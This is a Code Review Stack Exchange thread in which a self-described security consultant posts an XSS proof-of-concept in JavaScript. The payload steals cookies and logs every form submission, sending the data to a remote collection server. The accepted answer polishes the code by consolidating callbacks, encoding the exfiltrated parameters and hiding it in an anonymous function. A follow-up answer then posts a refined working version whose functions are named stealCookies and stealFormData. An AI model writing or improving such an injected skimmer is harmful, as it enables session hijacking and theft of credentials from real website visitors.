current community

your communities

more stack exchange communities

company blog
Stack Exchange Inbox Reputation and Badges
tour help
Code Review Stack Exchange is a question and answer site for peer programmer code reviews. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top
up vote 2 down vote favorite

I am coding a proof of concept on the danger of JavaScript poisoning, XSS and other client side attacks.

Therefore, I coded some JavaScript payloads. As I am not very familiar with JavaScript (I actually hate this language). I would really appreciate if you could give me some recommendations in order to improve the code (logic, syntax, efficiency, more explicit name for the functions).

For example, I am aware that I am not making a good use of the callback (I am calling two times getIP when I could call it once and store the IP somewhere but I haven't managed to find how to do that) or my ajaxRequest method which is very similar to my getIP method. My only one requirement is using only pure JavaScript.

function ajaxRequest(data) {
    var xhttp = new XMLHttpRequest(); 
    var url = "http://something/payload.php?"+data;
    xhttp.open("GET", url, true);
    xhttp.send();
}

function getIP(callback) {
    var xhttp = new XMLHttpRequest(); 
    var url = "http://something/payload.php?action=getIp";

    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
            var jsonObj = JSON.parse(xhttp.responseText);
            callback(jsonObj.ip);
        }
    };

    xhttp.open("GET", url, true);
    xhttp.send();
}

function grabDomain(victimIp) { 
    var data = "action=grabDomain&victimIp="+victimIp+"&domain="+document.domain+"&location="+location.pathname+"&cookie="+document.cookie;
    console.log(data);
    ajaxRequest(data);
}

function addFormsKeyLogger(victimIp) {
    var forms = document.getElementsByTagName("form");
    for (i = 0; i < forms.length; i++) {
        addFormKeyLogger(victimIp, forms[i]);
    }
}

function addFormKeyLogger(victimIp, form) {
    form.addEventListener("submit", function() {
        var elements = form.elements;
        var formData = "";

        for (j = 0; j < elements.length; j++) {
            formData += elements[j].name + "=" + elements[j].value + "|";  
        }

        if (formData) {
            sendForm(victimIp, formData);
        }
    },  false);
}

function sendForm(victimIp, formData){
    var data = "action=grabForm&victimIp="+victimIp+"&domain="+document.domain+"&location="+location.pathname+"&data="+formData;
    console.log(data);
    ajaxRequest(data);
}

function run() {
    // We steal the cookies - improvement steal http-only cookies
    getIP(grabDomain);
    // We steal the data sent through the forms
    getIP(addFormsKeyLogger);
}

run();
share|improve this question
1  
Does pure JavaScript include third party JavaScript libraries? – Eyal Feb 15 at 18:29
    
I really hope this is an exercise and not an actual attempt to exploit unsuspecting users. – David Foerster Feb 17 at 11:55
    
Yes it is! I work as a Security Consultant I am just doing an advanced PoC. Here is my linkedin profile if you need some assurance: linkedin – Alexandre Feb 17 at 12:22
    
I tend to assume the best in people's intentions unless they give me reason to believe otherwise. Thanks for the reassurance, though! – David Foerster Feb 17 at 12:55
up vote 2 down vote accepted

  1. document.getElementsByTagName("form") may be shortened to document.forms.

  2. Inside the event listener function inside addFormKeyLogger(), replace form with this. The event target is assigned to the special value this inside event listeners.

    This also means, that you only need a single instance of the event handler function for each victimIp, since the reference to form is now unnecessary.

  3. You can reuse the callback parameter of getIP() by wrapping the two callbacks inside another callback function:

    getIP(function(victimIp) {
  grabDomain(victimIp);
  addFormsKeyLogger(victimIp);
});

  4. Encode your URI parameters! Then you don't need to resort to separating them with non-standard characters (| instead of &) for multiple levels of nesting.

    var data = "action=grabDomain"
  + "&victimIp=" + encodeURIComponent(victimIp)
  + "&domain=" + encodeURIComponent(document.domain)
  + "&location=" + encodeURIComponent(location.pathname)
  + "&cookie=" + encodeURIComponent(document.cookie);

formData += encodeURIComponent(elements[j].name) + "="
  + encodeURIComponent(elements[j].value) + "&";

var data = "action=grabForm"
  + "&victimIp=" + encodeURIComponent(victimIp)
  + "&domain=" + encodeURIComponent(document.domain)
  + "&location=" + encodeURIComponent(location.pathname)
  + "&data=" + encodeURIComponent(formData);

    Encoding may not be necessary for victimIp and document.domain, since they're only supposed to contain "safe" characters according to the encoding function anyway.

    If this code seems repetitive to you, I agree with you. Pass dictionary objects with the parameters to a function that builds these parameter strings. Example:

    function buildParamString(dict) {
  s = "";
  for (var key in dict) {
    s += s ? "&" : "?";
    s += encodeURIComponent(key);
    var value = dict[key];
    if (typeof(value) !== "undefined" && value !== null)
      s += "=" + encodeURIComponent(value.toString());
  }
  return s;
}

var params = { action: "grabDomain", victimIp: victimIp, domain: document.domain, location: location.pathname, cookie: document.cookie };
var url = "http://www.example.com/" + buildParamString(params);

  5. Wrap the whole thing inside an anonymous function to avoid namespace pollution:

    (function() {
   function ajaxRequest(data) {
   [...]
   run();
})();

    For more information on this topic see What is the purpose of wrapping whole Javascript files in anonymous functions like “(function(){ … })()”?

share|improve this answer
    
I could not use your snippet for wrapping the function inside of an anonymous function. I saw on Internet that it is better for the visibility... I would like to implement that! – Alexandre Feb 18 at 17:51
    
I don't understand entirely, what you were trying to do and what the issue was. Can you maybe provide me with some (sample) code of your failed attempt and an error message and/or description? Maybe even open a question on Stack Overflow and send me a link to it. – David Foerster Feb 18 at 23:04
up vote 0 down vote

Here is the updated version of my code (maybe it might help someone :D). 

function buildParamString(params) {
    var s = "";

    for (var key in params) {
        var value = params[key];

        s += encodeURIComponent(key) + '=';
        if (value !== null && typeof(value) !== "undefined") 
            s += encodeURIComponent(value.toString()) + '&';
    }

    s = s.slice(0, -1);
    return s;
}

function getIP(callback) {
    var url = "something";
    var params = {
        action: "getIP"
    };
    var xhttp = new XMLHttpRequest(); 

    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
            var jsonObj = JSON.parse(xhttp.responseText);
            callback(jsonObj.ip);
        }
    };

    xhttp.open("POST", url, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send(buildParamString(params));
}

function ajaxPostRequest(params) {
    var url = "something";
    var xhttp = new XMLHttpRequest(); 

    xhttp.open("POST", url, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send(buildParamString(params));
}

function addFormsKeyLogger(victimIP) {
    var forms = document.forms;

    for (i = 0; i < forms.length; i++) {
        forms[i].addEventListener('submit', function () {
            var elements = this.elements;
            var data = '';

            for (j = 0; j < elements.length; j++) {
              data += elements[j].name + ':' + elements[j].value + '|';
            }

            stealFormData(victimIP, data);
        }, false);
    }
}

function stealFormData(victimIP, data){
    var params = {
        action: "stealFormData", 
        victimIP: victimIP, 
        domain: document.domain, 
        location: location.pathname, 
        data: data
    };

    ajaxPostRequest(params);
}

function stealCookies(victimIP) { 
    var params = {
        action: "stealCookies", 
        victimIP: victimIP, 
        domain: document.domain, 
        location: location.pathname, 
        cookie: document.cookie
    };

    if (document.cookie)
        ajaxPostRequest(params);
}

getIP(function(victimIP) {
    stealCookies(victimIP);
    addFormsKeyLogger(victimIP);
});
share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.